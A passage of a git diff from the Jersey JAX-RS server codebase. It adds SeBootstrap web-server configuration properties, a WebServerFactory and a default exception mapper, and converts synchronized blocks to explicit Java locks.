SSLClientAuthentication.class); + PROPERTY_TYPES.put(ServerProperties.WEBSERVER_ALLOW_PRIVILEGED_PORTS, Boolean.class); + PROPERTY_TYPES.put(ServerProperties.WEBSERVER_AUTO_START, Boolean.class); + PROPERTY_TYPES.put(ServerProperties.WEBSERVER_CLASS, Class.class); + } + + private final Map<String, Object> properties = new HashMap<>(); + + private Builder() { + this.properties.put(SeBootstrap.Configuration.PROTOCOL, "HTTP"); // upper case mandated by javadoc + this.properties.put(SeBootstrap.Configuration.HOST, "localhost"); + this.properties.put(SeBootstrap.Configuration.PORT, -1); // Auto-select port 8080 for HTTP or 8443 for HTTPS + this.properties.put(SeBootstrap.Configuration.ROOT_PATH, "/"); + this.properties.put(ServerProperties.WEBSERVER_CLASS, WebServer.class); // Auto-select first provider + try { + this.properties.put(SeBootstrap.Configuration.SSL_CONTEXT, SSLContext.getDefault()); + } catch (final NoSuchAlgorithmException e) { + throw new RuntimeException(e); + } + this.properties.put(SeBootstrap.Configuration.SSL_CLIENT_AUTHENTICATION, + SeBootstrap.Configuration.SSLClientAuthentication.NONE); + this.properties.put(ServerProperties.WEBSERVER_AUTO_START, TRUE); + this.properties.put(ServerProperties.WEBSERVER_ALLOW_PRIVILEGED_PORTS, FALSE); + + SystemPropertiesConfigurationModel propertiesConfigurationModel = new SystemPropertiesConfigurationModel( + Collections.singletonList(Properties.class.getName()) + ); + from((name, aClass) -> String.class.equals(aClass) || Integer.class.equals(aClass) || Boolean.class.equals(aClass) + ? propertiesConfigurationModel.getOptionalProperty(name, aClass) + : Optional.empty() + ); + } + + @Override + public JerseySeBootstrapConfiguration build() { + return JerseySeBootstrapConfiguration.from(this.properties::get); + } + + @Override + public Builder property(String name, Object value) { + this.properties.put(name, value); + return this; + } + + /** + * Set the the respective {@link WebServer} class to be used by the + * {@link org.glassfish.jersey.server.spi.WebServerProvider}. + * @param webServerClass the class implementing {@link WebServer}. + * @return the updated builder. + */ + public Builder webServerClass(Class<? extends WebServer> webServerClass) { + return property(ServerProperties.WEBSERVER_CLASS, webServerClass); + } + + /** + * Define if the {@link WebServer} should auto-start at bootstrap. + * @param autostart the auto-start flag. + * @return the updated builder. + */ + public Builder autoStart(Boolean autostart) { + return property(ServerProperties.WEBSERVER_AUTO_START, autostart); + } + + @Override + public <T> JerseySeBootstrapConfiguration.Builder from(BiFunction<String, Class<T>, Optional<T>> configProvider) { + PROPERTY_TYPES.forEach( + (propertyName, propertyType) -> configProvider.apply(propertyName, (Class<T>) propertyType) + .ifPresent(propertyValue -> this.properties.put(propertyName, propertyValue))); + return this; + } + + @Override + public JerseySeBootstrapConfiguration.Builder from(Object externalConfig) { + if (SeBootstrap.Configuration.class.isInstance(externalConfig)) { + final SeBootstrap.Configuration other = (SeBootstrap.Configuration) externalConfig; + from((name, clazz) -> { + final Object property = other.property(name); + if (property != null) { + if (clazz.equals(property.getClass())) { + return Optional.of(property); + } else { + LOGGER.warning(LocalizationMessages.IGNORE_SEBOOTSTRAP_CONFIGURATION_PROPERTY(name, clazz)); + } + } + return Optional.empty(); + }); + } + return this; + } + } + + /** + * Name the properties to be internally read from System properties by {@link ExternalPropertiesConfigurationFactory}. + * This is required just when SecurityManager is on, otherwise all system properties are read. + */ + @PropertiesClass + private static class Properties { + /** + * See {@link SeBootstrap.Configuration#PROTOCOL} property. + */ + public static final String SE_BOOTSTRAP_CONFIGURATION_PROTOCOL = SeBootstrap.Configuration.PROTOCOL; + + /** + * See {@link SeBootstrap.Configuration#HOST} property. + */ + public static final String SE_BOOTSTRAP_CONFIGURATION_HOST = SeBootstrap.Configuration.HOST; + + /** + * See {@link SeBootstrap.Configuration#PORT} property. + */ + public static final String SE_BOOTSTRAP_CONFIGURATION_PORT = SeBootstrap.Configuration.PORT; + + /** + * See {@link SeBootstrap.Configuration#ROOT_PATH} property. + */ + public static final String SE_BOOTSTRAP_CONFIGURATION_ROOT_PATH = SeBootstrap.Configuration.ROOT_PATH; + + /** + * See {@link ServerProperties#WEBSERVER_ALLOW_PRIVILEGED_PORTS} property. + */ + public static final String WEBSERVER_ALLOW_PRIVILEGED_PORTS = ServerProperties.WEBSERVER_ALLOW_PRIVILEGED_PORTS; + + /** + * See {@link ServerProperties#WEBSERVER_AUTO_START} property. + */ + public static final String WEBSERVER_AUTO_START = ServerProperties.WEBSERVER_AUTO_START; + } +}
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/ResourceConfig.java b/core-server/src/main/java/org/glassfish/jersey/server/ResourceConfig.java index 5575335..6fc7a2a 100644 --- a/core-server/src/main/java/org/glassfish/jersey/server/ResourceConfig.java +++ b/core-server/src/main/java/org/glassfish/jersey/server/ResourceConfig.java
@@ -757,6 +757,11 @@ } @Override + public final boolean hasProperty(final String name) { + return state.hasProperty(name); + } + + @Override public final Object getProperty(final String name) { return state.getProperty(name); }
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/ServerBinder.java b/core-server/src/main/java/org/glassfish/jersey/server/ServerBinder.java index 03482f9..4cf65c8 100644 --- a/core-server/src/main/java/org/glassfish/jersey/server/ServerBinder.java +++ b/core-server/src/main/java/org/glassfish/jersey/server/ServerBinder.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2021 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,6 +16,7 @@ package org.glassfish.jersey.server; +import jakarta.ws.rs.ext.ExceptionMapper; import jakarta.ws.rs.ext.MessageBodyWriter; import jakarta.ws.rs.ext.WriterInterceptor; @@ -44,5 +45,8 @@ // JSONP bind(JsonWithPaddingInterceptor.class).to(WriterInterceptor.class).in(Singleton.class); + + //Default exception mapper + bind(DefaultExceptionMapper.class).to(ExceptionMapper.class).in(Singleton.class); } }
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/ServerProperties.java b/core-server/src/main/java/org/glassfish/jersey/server/ServerProperties.java index 6414204..3ef8565 100644 --- a/core-server/src/main/java/org/glassfish/jersey/server/ServerProperties.java +++ b/core-server/src/main/java/org/glassfish/jersey/server/ServerProperties.java
@@ -24,6 +24,8 @@ import org.glassfish.jersey.internal.util.PropertiesClass; import org.glassfish.jersey.internal.util.PropertiesHelper; import org.glassfish.jersey.internal.util.PropertyAlias; +import org.glassfish.jersey.server.spi.Container; +import org.glassfish.jersey.server.spi.WebServer; /** @@ -783,6 +785,50 @@ "jersey.config.server.empty.request.media.matches.any.consumes"; /** + * Defines whether to allow privileged ports (0-1023) to be used to start the {@link WebServer} implementation + * to be chosen from the unused ports when the {@link jakarta.ws.rs.SeBootstrap.Configuration#PORT} is set to {@code -1} + * or unset. + * <p> + * The default ports are {@link Container#DEFAULT_HTTP_PORT} for HTTP and {@link Container#DEFAULT_HTTPS_PORT} + * for HTTPS when {@code WEBSERVER_ALLOW_PRIVILEGED_PORTS} is {@code true} or 8080 for HTTP and 8443 for HTTPS when + * {@code WEBSERVER_ALLOW_PRIVILEGED_PORTS} is {@code false}. + * </p> + * <p> + * If {@link jakarta.ws.rs.SeBootstrap.Configuration#PORT} is set to {@code 0}, the implementation scans for random unused + * port (0-65535) when {@code WEBSERVER_ALLOW_PRIVILEGED_PORTS} is {@code true}, or (1024-65535) when + * {@code WEBSERVER_ALLOW_PRIVILEGED_PORTS} is {@code false.} + * </p> + * <p> + * The default this is {@code false}. Use {@code true} to allow a restricted port number. The name of the configuration + * property is <tt>{@value}</tt>. + * </p> + * @since 3.1.0 + */ + public static final String WEBSERVER_ALLOW_PRIVILEGED_PORTS = + "jersey.config.server.bootstrap.webserver.allow.privileged.ports"; + + /** + * Whether to automatically startup {@link WebServer} at bootstrap. + * <p> + * By default, servers are immediately listening to connections after bootstrap, + * so no explicit invocation of {@link WebServer#start()} is needed. The name of the configuration + * property is <tt>{@value}</tt>. + * </p> + * @since 3.1.0 + */ + public static final String WEBSERVER_AUTO_START = "jersey.config.server.bootstrap.webserver.autostart"; + + /** + * Defines the implementation of {@link WebServer} to bootstrap. + * <p> + * By default auto-selects the first server provider found. The name of the configuration + * property is <tt>{@value}</tt>. + * </p> + * @since 3.1.0 + */ + public static final String WEBSERVER_CLASS = "jersey.config.server.bootstrap.webserver.class"; + + /** * JVM argument to define the value of * {@link org.glassfish.jersey.server.internal.monitoring.core.ReservoirConstants#COLLISION_BUFFER_POWER}. * Lower values reduce the memory footprint.
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/ServerRuntime.java b/core-server/src/main/java/org/glassfish/jersey/server/ServerRuntime.java index 04d820d..531e927 100644 --- a/core-server/src/main/java/org/glassfish/jersey/server/ServerRuntime.java +++ b/core-server/src/main/java/org/glassfish/jersey/server/ServerRuntime.java
@@ -34,6 +34,8 @@ import java.util.concurrent.ExecutorService; import java.util.concurrent.ScheduledExecutorService; import java.util.concurrent.TimeUnit; +import java.util.concurrent.locks.ReadWriteLock; +import java.util.concurrent.locks.ReentrantReadWriteLock; import java.util.logging.Level; import java.util.logging.Logger; @@ -128,6 +130,19 @@ /** Resolve relative URIs according to RFC7231 (not JAX-RS 2.0 compliant */ private final boolean rfc7231LocationHeaderRelativeUriResolution; + /** + * Cached value of configuration property + * {@link org.glassfish.jersey.server.ServerProperties#RESPONSE_SET_STATUS_OVER_SEND_ERROR}. + * If {@code true} method {@link ServerRuntime.CompletionCallbackRunner#onComplete(Throwable)} + * is used over {@link DefaultExceptionMapper#toResponse(Throwable)}. + */ + private final boolean configSetStatusOverSendError; + + /** + * Default exception mapper (@since 3.1.0 according to JAX-RS 3.1 spec) + */ + private static final ExceptionMapper<Throwable> DEFAULT_EXCEPTION_MAPPER = new DefaultExceptionMapper(); + static ServerRuntime createServerRuntime( InjectionManager injectionManager, ServerBootstrapBag bootstrapBag, @@ -190,6 +205,9 @@ this.rfc7231LocationHeaderRelativeUriResolution = ServerProperties.getValue(configuration.getProperties(), ServerProperties.LOCATION_HEADER_RELATIVE_URI_RESOLUTION_RFC7231, Boolean.FALSE, Boolean.class); + + this.configSetStatusOverSendError = ServerProperties.getValue(configuration.getProperties(), + ServerProperties.RESPONSE_SET_STATUS_OVER_SEND_ERROR, false, Boolean.class); } /** @@ -367,11 +385,11 @@ public void process(ContainerResponse response) { processingContext.monitoringEventBuilder().setContainerResponse(response); - response = processResponse(response); + response = processResponse(response, null); release(response); } - private ContainerResponse processResponse(ContainerResponse response) { + private ContainerResponse processResponse(ContainerResponse response, Throwable unmappedThrowable) { final Stage<ContainerResponse> respondingRoot = processingContext.createRespondingRoot(); if (respondingRoot != null) { @@ -381,7 +399,23 @@ // no-exception zone // the methods below are guaranteed to not throw any exceptions - completionCallbackRunner.onComplete(null); + completionCallbackRunner.onComplete(unmappedThrowable); + return response; + } + + private ContainerResponse preProcessResponse(Response exceptionResponse, ContainerRequest request) { + final ContainerResponse response; + try { + response = convertResponse(exceptionResponse); + if (!runtime.disableLocationHeaderRelativeUriResolution) { + ensureAbsolute(response.getLocation(), response.getHeaders(), request, + runtime.rfc7231LocationHeaderRelativeUriResolution); + } + processingContext.monitoringEventBuilder().setContainerResponse(response) + .setResponseSuccessfullyMapped(true); + } finally { + processingContext.triggerEvent(RequestEvent.Type.EXCEPTION_MAPPING_FINISHED); + } return response; } @@ -408,22 +442,12 @@ processingContext.triggerEvent(RequestEvent.Type.ON_EXCEPTION); ContainerResponse response = null; + ContainerResponse defaultMapperResponse = null; try { final Response exceptionResponse = mapException(throwable); try { - try { - response = convertResponse(exceptionResponse); - if (!runtime.disableLocationHeaderRelativeUriResolution) { - ensureAbsolute(response.getLocation(), response.getHeaders(), request, - runtime.rfc7231LocationHeaderRelativeUriResolution); - } - processingContext.monitoringEventBuilder().setContainerResponse(response) - .setResponseSuccessfullyMapped(true); - } finally { - processingContext.triggerEvent(RequestEvent.Type.EXCEPTION_MAPPING_FINISHED); - } - - processResponse(response); + response = preProcessResponse(exceptionResponse, request); + processResponse(response, null); } catch (final Throwable respError) { LOGGER.log(Level.SEVERE, LocalizationMessages.ERROR_PROCESSING_RESPONSE_FROM_ALREADY_MAPPED_EXCEPTION()); processingContext.monitoringEventBuilder() @@ -439,16 +463,23 @@ if (!processResponseError(responseError)) { // Pass the exception to the container. - LOGGER.log(Level.FINE, LocalizationMessages.ERROR_EXCEPTION_MAPPING_THROWN_TO_CONTAINER(), responseError); - try { request.getResponseWriter().failure(responseError); } finally { - completionCallbackRunner.onComplete(responseError); + if (runtime.configSetStatusOverSendError) { + completionCallbackRunner.onComplete(responseError); + } else { + LOGGER.log(Level.WARNING, + LocalizationMessages.ERROR_EXCEPTION_MAPPING_THROWN_TO_CONTAINER(), + responseError); + defaultMapperResponse = processResponseWithDefaultExceptionMapper(responseError, request); + } } + } + } finally { - release(response); + release(response, defaultMapperResponse); } } @@ -480,7 +511,7 @@ if (processedError != null) { processedResponse = - processResponse(new ContainerResponse(processingContext.request(), processedError)); + processResponse(new ContainerResponse(processingContext.request(), processedError), null); processed = true; } } catch (final Throwable throwable) { @@ -510,6 +541,7 @@ do { final Throwable throwable = wrap.getCurrent(); + if (wrap.isInMappable() || throwable instanceof WebApplicationException) { // in case ServerProperties.PROCESSING_RESPONSE_ERRORS_ENABLED is true, allow // wrapped MessageBodyProviderNotFoundException to propagate @@ -535,47 +567,9 @@ final long timestamp = tracingLogger.timestamp(ServerTraceEvent.EXCEPTION_MAPPING); final ExceptionMapper mapper = runtime.exceptionMappers.findMapping(throwable); - if (mapper != null) { - processingContext.monitoringEventBuilder().setExceptionMapper(mapper); - processingContext.triggerEvent(RequestEvent.Type.EXCEPTION_MAPPER_FOUND); - try { - final Response mappedResponse = mapper.toResponse(throwable); - - if (tracingLogger.isLogEnabled(ServerTraceEvent.EXCEPTION_MAPPING)) { - tracingLogger.logDuration(ServerTraceEvent.EXCEPTION_MAPPING, - timestamp, mapper, throwable, throwable.getLocalizedMessage(), - mappedResponse != null ? mappedResponse.getStatusInfo() : "-no-response-"); - } - - // set mapped throwable - processingContext.routingContext().setMappedThrowable(throwable); - - if (mappedResponse != null) { - // response successfully mapped - if (LOGGER.isLoggable(Level.FINER)) { - final String message = String.format( - "Exception '%s' has been mapped by '%s' to response '%s' (%s:%s).", - throwable.getLocalizedMessage(), - mapper.getClass().getName(), - mappedResponse.getStatusInfo().getReasonPhrase(), - mappedResponse.getStatusInfo().getStatusCode(), - mappedResponse.getStatusInfo().getFamily()); - LOGGER.log(Level.FINER, message); - } - return mappedResponse; - } else { - return Response.noContent().build(); - } - } catch (final Throwable mapperThrowable) { - // spec: If the exception mapping provider throws an exception while creating a Response - // then return a server error (status code 500) response to the client. - LOGGER.log(Level.SEVERE, LocalizationMessages.EXCEPTION_MAPPER_THROWS_EXCEPTION(mapper.getClass()), - mapperThrowable); - LOGGER.log(Level.SEVERE, LocalizationMessages.EXCEPTION_MAPPER_FAILED_FOR_EXCEPTION(), throwable); - return Response.serverError().build(); - } + if (mapper != null && !DefaultExceptionMapper.class.isInstance(mapper)) { + return processExceptionWithMapper(mapper, throwable, timestamp); } - if (waeResponse != null) { LOGGER.log(Level.FINE, LocalizationMessages .EXCEPTION_MAPPING_WAE_NO_ENTITY(waeResponse.getStatus()), throwable); @@ -589,7 +583,6 @@ return Response.status(Response.Status.BAD_REQUEST).build(); } } - if (!wrap.isInMappable() || !wrap.isWrapped()) { // user failures (thrown from Resource methods or provider methods) @@ -605,6 +598,55 @@ throw originalThrowable; } + private Response processExceptionWithMapper(ExceptionMapper mapper, + Throwable throwable, long timestamp) { + processingContext.monitoringEventBuilder().setExceptionMapper(mapper); + processingContext.triggerEvent(RequestEvent.Type.EXCEPTION_MAPPER_FOUND); + try { + final Response mappedResponse = mapper.toResponse(throwable); + + if (isTracingLoggingEnabled(mapper, throwable, tracingLogger)) { + tracingLogger.logDuration(ServerTraceEvent.EXCEPTION_MAPPING, + timestamp, mapper, throwable, throwable.getLocalizedMessage(), + mappedResponse != null ? mappedResponse.getStatusInfo() : "-no-response-"); + } + + // set mapped throwable + processingContext.routingContext().setMappedThrowable(throwable); + + if (mappedResponse != null) { + // response successfully mapped + if (LOGGER.isLoggable(Level.FINER)) { + final String message = String.format( + "Exception '%s' has been mapped by '%s' to response '%s' (%s:%s).", + throwable.getLocalizedMessage(), + mapper.getClass().getName(), + mappedResponse.getStatusInfo().getReasonPhrase(), + mappedResponse.getStatusInfo().getStatusCode(), + mappedResponse.getStatusInfo().getFamily()); + LOGGER.log(Level.FINER, message); + } + return mappedResponse; + } else { + return Response.noContent().build(); + } + } catch (final Throwable mapperThrowable) { + // spec: If the exception mapping provider throws an exception while creating a Response + // then return a server error (status code 500) response to the client. + LOGGER.log(Level.SEVERE, LocalizationMessages.EXCEPTION_MAPPER_THROWS_EXCEPTION(mapper.getClass()), + mapperThrowable); + LOGGER.log(Level.SEVERE, LocalizationMessages.EXCEPTION_MAPPER_FAILED_FOR_EXCEPTION(), throwable); + return Response.serverError().build(); + } + } + + private ContainerResponse processResponseWithDefaultExceptionMapper(Throwable exception, + ContainerRequest request) { + long timestamp = tracingLogger.timestamp(ServerTraceEvent.EXCEPTION_MAPPING); + final Response response = processExceptionWithMapper(DEFAULT_EXCEPTION_MAPPER, exception, timestamp); + return processResponse(preProcessResponse(response, request), exception); + } + private ContainerResponse writeResponse(final ContainerResponse response) { final ContainerRequest request = processingContext.request(); final ContainerResponseWriter writer = request.getResponseWriter(); @@ -736,16 +778,14 @@ .setResponseWritten(true); } - private void release(final ContainerResponse responseContext) { + private void release(final ContainerResponse... responseContexts) { try { processingContext.closeableService().close(); // Commit the container response writer if not in chunked mode // responseContext may be null in case the request processing was cancelled. - if (responseContext != null && !responseContext.isChunked()) { - // responseContext.commitStream(); - responseContext.close(); - } + Arrays.stream(responseContexts).filter(responseContext -> responseContext != null + && !responseContext.isChunked()).forEach(ContainerResponse::close); } catch (final Throwable throwable) { LOGGER.log(Level.WARNING, LocalizationMessages.RELEASING_REQUEST_PROCESSING_RESOURCES_FAILED(), throwable); @@ -754,6 +794,14 @@ processingContext.triggerEvent(RequestEvent.Type.FINISHED); } } + + private static boolean isTracingLoggingEnabled(ExceptionMapper mapper, Throwable throwable, TracingLogger tracingLogger) { + boolean defaultLoggingState = mapper instanceof DefaultExceptionMapper + && throwable instanceof WebApplicationException; + return !defaultLoggingState + && tracingLogger.isLogEnabled(ServerTraceEvent.EXCEPTION_MAPPING); + + } } private static class AsyncResponder implements AsyncContext, ContainerResponseWriter.TimeoutHandler, CompletionCallback { @@ -767,7 +815,7 @@ } }; - private final Object stateLock = new Object(); + private final ReadWriteLock stateLock = new ReentrantReadWriteLock(); private State state = RUNNING; private boolean cancelled = false; @@ -799,11 +847,13 @@ @Override public void onTimeout(final ContainerResponseWriter responseWriter) { final TimeoutHandler handler = timeoutHandler; + stateLock.readLock().lock(); try { - synchronized (stateLock) { - if (state == SUSPENDED) { - handler.handleTimeout(this); - } + if (state == SUSPENDED) { + stateLock.readLock().unlock(); // unlock before handleTimeout to prevent write lock in handleTimeout + handler.handleTimeout(this); + } else { + stateLock.readLock().unlock(); } } catch (final Throwable throwable) { resume(throwable); @@ -812,9 +862,9 @@ @Override public void onComplete(final Throwable throwable) { - synchronized (stateLock) { - state = COMPLETED; - } + stateLock.writeLock().lock(); + state = COMPLETED; + stateLock.writeLock().unlock(); } @Override @@ -842,14 +892,19 @@ @Override public boolean suspend() { - synchronized (stateLock) { - if (state == RUNNING) { - if (responder.processingContext.request().getResponseWriter().suspend( - AsyncResponse.NO_TIMEOUT, TimeUnit.SECONDS, this)) { - state = SUSPENDED; - return true; - } + stateLock.readLock().lock(); + if (state == RUNNING) { + stateLock.readLock().unlock(); + if (responder.processingContext.request().getResponseWriter().suspend( + AsyncResponse.NO_TIMEOUT, TimeUnit.SECONDS, this)) { + // Must release read lock before acquiring write lock + stateLock.writeLock().lock(); + state = SUSPENDED; + stateLock.writeLock().unlock(); + return true; } + } else { + stateLock.readLock().unlock(); } return false; } @@ -892,12 +947,17 @@ } private boolean resume(final Runnable handler) { - synchronized (stateLock) { + stateLock.readLock().lock(); + try { if (state != SUSPENDED) { return false; } - state = RESUMED; + } finally { + stateLock.readLock().unlock(); } + stateLock.writeLock().lock(); + state = RESUMED; + stateLock.writeLock().unlock(); try { responder.runtime.requestScope.runInScope(requestContext, handler); @@ -945,7 +1005,8 @@ } private boolean cancel(final Value<Response> responseValue) { - synchronized (stateLock) { + stateLock.readLock().lock(); + try { if (cancelled) { return true; } @@ -953,10 +1014,15 @@ if (state != SUSPENDED) { return false; } - state = RESUMED; - cancelled = true; + } finally { + stateLock.readLock().unlock(); } + stateLock.writeLock().lock(); + state = RESUMED; + cancelled = true; + stateLock.writeLock().unlock(); + responder.runtime.requestScope.runInScope(requestContext, new Runnable() { @Override public void run() { @@ -973,29 +1039,41 @@ } public boolean isRunning() { - synchronized (stateLock) { + stateLock.readLock().lock(); + try { return state == RUNNING; + } finally { + stateLock.readLock().unlock(); } } @Override public boolean isSuspended() { - synchronized (stateLock) { + stateLock.readLock().lock(); + try { return state == SUSPENDED; + } finally { + stateLock.readLock().unlock(); } } @Override public boolean isCancelled() { - synchronized (stateLock) { + stateLock.readLock().lock(); + try { return cancelled; + } finally { + stateLock.readLock().unlock(); } } @Override public boolean isDone() { - synchronized (stateLock) { + stateLock.readLock().lock(); + try { return state == COMPLETED; + } finally { + stateLock.readLock().unlock(); } }
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/WebServerFactory.java b/core-server/src/main/java/org/glassfish/jersey/server/WebServerFactory.java new file mode 100644 index 0000000..2b61d4a --- /dev/null +++ b/core-server/src/main/java/org/glassfish/jersey/server/WebServerFactory.java
@@ -0,0 +1,114 @@ +/* + * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2018 Markus KARG. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.server; + +import jakarta.ws.rs.ProcessingException; +import jakarta.ws.rs.SeBootstrap; +import jakarta.ws.rs.core.Application; + +import org.glassfish.jersey.internal.ServiceFinder; +import org.glassfish.jersey.server.spi.WebServer; +import org.glassfish.jersey.server.spi.WebServerProvider; + +/** + * Factory for creating specific HTTP servers. + * + * @author Markus KARG (markus@headcrashing.eu) + * @since 3.1.0 + */ +public final class WebServerFactory { + + /** + * Prevents instantiation. + */ + private WebServerFactory() { + } + + /** + * Creates a server of a given type which runs the given application using the + * given bootstrap configuration. + * <p> + * The list of service-providers supporting the {@link WebServerProvider} + * service-provider will be iterated over until one returns a non-null server + * instance. + * <p> + * + * @param <T> + * the type of the server. + * @param type + * the type of the server. Providers SHOULD support at least + * {@link WebServer}. + * @param application + * The application to host. + * @param configuration + * The configuration (host, port, etc.) to be used for bootstrapping. + * @return the created server. + * @throws ProcessingException + * if there is an error creating the server. + * @throws IllegalArgumentException + * if no server provider supports the type. + */ + public static <T extends WebServer> T createServer(final Class<T> type, final Application application, + final SeBootstrap.Configuration configuration) { + for (final WebServerProvider webServerProvider : ServiceFinder.find(WebServerProvider.class)) { + final T server = webServerProvider.createServer(type, application, configuration); + if (server != null) { + return server; + } + } + + throw new IllegalArgumentException("No server provider supports the type " + type); + } + + /** + * Creates a server of a given type which runs the given application using the + * given bootstrap configuration. + * <p> + * The list of service-providers supporting the {@link WebServerProvider} + * service-provider will be iterated over until one returns a non-null server + * instance. + * <p> + * + * @param <T> + * the type of the server. + * @param type + * the type of the server. Providers SHOULD support at least + * {@link WebServer}. + * @param application + * The application to host. + * @param configuration + * The configuration (host, port, etc.) to be used for bootstrapping. + * @return the created server. + * @throws ProcessingException + * if there is an error creating the server. + * @throws IllegalArgumentException + * if no server provider supports the type. + */ + public static <T extends WebServer> T createServer(final Class<T> type, final Class<? extends Application> application, + final SeBootstrap.Configuration configuration) { + for (final WebServerProvider webServerProvider : ServiceFinder.find(WebServerProvider.class)) { + final T server = webServerProvider.createServer(type, application, configuration); + if (server != null) { + return server; + } + } + + throw new IllegalArgumentException("No server provider supports the type " + type); + } + +}
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/JerseyRequestTimeoutHandler.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/JerseyRequestTimeoutHandler.java index 761065e..91ec565 100644 --- a/core-server/src/main/java/org/glassfish/jersey/server/internal/JerseyRequestTimeoutHandler.java +++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/JerseyRequestTimeoutHandler.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -19,6 +19,8 @@ import java.util.concurrent.ScheduledExecutorService; import java.util.concurrent.ScheduledFuture; import java.util.concurrent.TimeUnit; +import java.util.concurrent.locks.Lock; +import java.util.concurrent.locks.ReentrantLock; import java.util.logging.Level; import java.util.logging.Logger; @@ -42,7 +44,7 @@ private ScheduledFuture<?> timeoutTask = null; // guarded by runtimeLock private ContainerResponseWriter.TimeoutHandler timeoutHandler = null; // guarded by runtimeLock private boolean suspended = false; // guarded by runtimeLock - private final Object runtimeLock = new Object(); + private final Lock runtimeLock = new ReentrantLock(); private final ContainerResponseWriter containerResponseWriter; private final ScheduledExecutorService executor; @@ -71,7 +73,8 @@ * @see ContainerResponseWriter#suspend(long, TimeUnit, ContainerResponseWriter.TimeoutHandler) */ public boolean suspend(final long timeOut, final TimeUnit unit, final TimeoutHandler handler) { - synchronized (runtimeLock) { + runtimeLock.lock(); + try { if (suspended) { return false; } @@ -81,6 +84,8 @@ containerResponseWriter.setSuspendTimeout(timeOut, unit); return true; + } finally { + runtimeLock.unlock(); } } @@ -94,7 +99,8 @@ * @see ContainerResponseWriter#setSuspendTimeout(long, TimeUnit) */ public void setSuspendTimeout(final long timeOut, final TimeUnit unit) throws IllegalStateException { - synchronized (runtimeLock) { + runtimeLock.lock(); + try { if (!suspended) { throw new IllegalStateException(LocalizationMessages.SUSPEND_NOT_SUSPENDED()); } @@ -110,18 +116,21 @@ @Override public void run() { + runtimeLock.lock(); try { - synchronized (runtimeLock) { - timeoutHandler.onTimeout(containerResponseWriter); - } + timeoutHandler.onTimeout(containerResponseWriter); } catch (final Throwable throwable) { LOGGER.log(Level.WARNING, LocalizationMessages.SUSPEND_HANDLER_EXECUTION_FAILED(), throwable); + } finally { + runtimeLock.unlock(); } } }, timeOut, unit); } catch (final IllegalStateException ex) { LOGGER.log(Level.WARNING, LocalizationMessages.SUSPEND_SCHEDULING_ERROR(), ex); } + } finally { + runtimeLock.unlock(); } } @@ -132,10 +141,15 @@ close(false); } - private synchronized void close(final boolean interruptIfRunning) { - if (timeoutTask != null) { - timeoutTask.cancel(interruptIfRunning); - timeoutTask = null; + private void close(final boolean interruptIfRunning) { + runtimeLock.lock(); + try { + if (timeoutTask != null) { + timeoutTask.cancel(interruptIfRunning); + timeoutTask = null; + } + } finally { + runtimeLock.unlock(); } } }
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/JerseyResourceContext.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/JerseyResourceContext.java index f8abbed..4e95a47 100644 --- a/core-server/src/main/java/org/glassfish/jersey/server/internal/JerseyResourceContext.java +++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/JerseyResourceContext.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -21,6 +21,8 @@ import java.util.Collections; import java.util.IdentityHashMap; import java.util.Set; +import java.util.concurrent.locks.Lock; +import java.util.concurrent.locks.ReentrantLock; import java.util.function.Consumer; import java.util.function.Function; import java.util.logging.Level; @@ -54,7 +56,7 @@ private final Consumer<Binding> registerBinding; private final Set<Class<?>> bindingCache; - private final Object bindingCacheLock; + private final Lock bindingCacheLock; private volatile ResourceModel resourceModel; @@ -73,7 +75,7 @@ this.injectInstance = injectInstance; this.registerBinding = registerBinding; this.bindingCache = Collections.newSetFromMap(new IdentityHashMap<>()); - this.bindingCacheLock = new Object(); + this.bindingCacheLock = new ReentrantLock(); } @Override @@ -110,11 +112,14 @@ return; } - synchronized (bindingCacheLock) { + bindingCacheLock.lock(); + try { if (bindingCache.contains(resourceClass)) { return; } unsafeBindResource(resourceClass, null); + } finally { + bindingCacheLock.unlock(); } } @@ -135,7 +140,8 @@ return; } - synchronized (bindingCacheLock) { + bindingCacheLock.lock(); + try { if (bindingCache.contains(resourceClass)) { return; } @@ -144,6 +150,8 @@ } bindingCache.add(resourceClass); + } finally { + bindingCacheLock.unlock(); } }
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/RuntimeDelegateImpl.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/RuntimeDelegateImpl.java index ab70a02..bfaad0e 100644 --- a/core-server/src/main/java/org/glassfish/jersey/server/internal/RuntimeDelegateImpl.java +++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/RuntimeDelegateImpl.java
